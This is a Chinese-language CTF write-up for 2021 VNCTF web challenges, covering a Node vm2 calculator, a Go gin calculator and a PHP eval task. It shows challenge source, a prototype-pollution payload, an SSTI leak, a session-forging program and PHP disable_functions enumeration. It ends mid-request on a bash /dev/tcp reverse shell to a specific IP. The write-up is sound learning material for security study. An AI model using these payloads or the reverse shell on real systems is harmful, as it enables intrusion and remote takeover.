2021VNCTF

GameV4.0

直接base64解码

newcalc0

源码

const express = require("express");
const path = require("path");
const vm2 = require("vm2");

const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.json());

app.use(express.static("static"));

const vm = new vm2.NodeVM();

app.use("/eval", (req, res) => {
  const e = req.body.e;
  if (!e) {
    res.send("wrong?");
    return;
  }
  try {
    res.send(vm.run("module.exports="+e)?.toString() ?? "no");
  } catch (e) {
    console.log(e)
    res.send("wrong?");
  }
});

app.use("/flag", (req, res) => {
  if(Object.keys(Object.prototype).length > 0) {
    Object.keys(Object.prototype).forEach(k => delete Object.prototype[k]);
    res.send(process.env.FLAG);
  } else {
    res.send(Object.keys(Object.prototype));
  }
})

app.use("/source", (req, res) => {
  let p = req.query.path || "/src/index.js";
  p = path.join(path.resolve("."), path.resolve(p));
  console.log(p);
  res.sendFile(p);
});

app.use((err, req, res, next) => {
  console.log(err)
  res.redirect("index.html");
});

app.listen(process.env.PORT || 8888);

审计代码：

满足下面代码，就可以直接得到flag

if(Object.keys(Object.prototype).length > 0)

一般来说object.prototype都是null，length都为0

这个利用CVE-2022-21824

直接上payload

console.table([{a:1}],['__proto__'])

payload，就通过console.log使得Object.prototype[0]变成空字符，长度不为0

然后访问/flag，就可以得到flag。

gocalc0 非预期

就是抓包得cookie，然后base64解码（但是我复现的时候没成功）

预期

SSTI拿到源码

{{.}}

源码

package main
import (
	_ "embed"
	"fmt"
	"os"
	"reflect"
	"strings"
	"text/template"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"github.com/maja42/goval"
)

//go:embed template/index.html
var tpl string

//go:embed main.go
var source string

type Eval struct {
	E string `json:"e" form:"e" binding:"required"`
}

func (e Eval) Result() (string, error) {
	eval := goval.NewEvaluator()
	result, err := eval.Evaluate(e.E, nil, nil)
	if err != nil {
		return "", err
	}
	t := reflect.ValueOf(result).Type().Kind()

	if t == reflect.Int {
		return fmt.Sprintf("%d", result.(int)), nil
	} else if t == reflect.String {
		return result.(string), nil
	} else {
		return "", fmt.Errorf("not valid type")
	}
}

func (e Eval) String() string {
	res, err := e.Result()
	if err != nil {
		fmt.Println(err)
		res = "invalid"
	}
	return fmt.Sprintf("%s = %s", e.E, res)
}

func render(c *gin.Context) {
	session := sessions.Default(c)

	var his string

	if session.Get("history") == nil {
		his = ""
	} else {
		his = session.Get("history").(string)
	}

	fmt.Println(strings.ReplaceAll(tpl, "{{result}}", his))
	t, err := template.New("index").Parse(strings.ReplaceAll(tpl, "{{result}}", his))
	if err != nil {
		fmt.Println(err)
		c.String(500, "internal error")
		return
	}
	if err := t.Execute(c.Writer, map[string]string{
		"s0uR3e": source,
	}); err != nil {
		fmt.Println(err)
	}
}

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8080"
	}

	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))

	r.GET("/", func(c *gin.Context) {
		render(c)
	})

	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		session.Set("FLAG", os.Getenv("FLAG"))
		session.Save()
		c.String(200, "flag is in your session")
	})

	r.POST("/", func(c *gin.Context) {
		session := sessions.Default(c)

		var his string

		if session.Get("history") == nil {
			his = ""
		} else {
			his = session.Get("history").(string)
		}

		eval := Eval{}
		if err := c.ShouldBind(&eval); err == nil {
			his = his + eval.String() + "

exp

package main

import (
	_ "embed"
	"fmt"
	"os"

	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
)

func main() {
	port := os.Getenv("PORT")
	if port == "" {
		port = "8088"
	}
	r := gin.Default()
	store := cookie.NewStore([]byte("woW_you-g0t_sourcE_co6e"))
	r.Use(sessions.Sessions("session", store))
	r.GET("/flag", func(c *gin.Context) {
		session := sessions.Default(c)
		c.String(200, session.Get("FLAG").(string))
	})
	r.Run(fmt.Sprintf(":%s", port))
}

InterestingPHP

打开网页

这个跟WMCTF的那个题比较相似。

利用eval发现phpinfo()被禁用了。

所以我们可以利用这个姿势（长知识了）

var_dump(get_cfg_var("disable_functions"));
var_dump(get_cfg_var("open_basedir"));
var_dump(ini_get_all());

可以发现存在disabled_function

解法1：

直接尝试bybass

网上找的大佬的exp

fwrite 被禁了，改成 fputs

然后构造数据包，抓包，只需要在包后面加上

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Length: 6927

------WebKitFormBoundaryj28zfvoWVxnHdp29
Content-Disposition: form-data; name="1"

pwn("bash -c 'exec bash -i &>/dev/tcp/42.193.170.176/10000